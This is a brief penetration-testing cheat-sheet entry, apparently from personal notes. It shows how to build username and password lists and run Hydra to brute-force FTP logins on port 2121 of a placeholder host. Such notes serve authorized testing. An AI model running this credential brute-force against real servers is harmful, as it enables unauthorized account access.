FTP

HYDRA: FTP ON NON-STANDARD PORT

root@oco:~$ nano usernames.txt
 ...
 admin
root@oco:~$ nano passwords.txt
 ...
 password

root@oco:~$ hydra -L usernames.txt -P passwords.txt -s 2121 -V ftp.example.com ftp
 * the -s is used to specify a non-standard port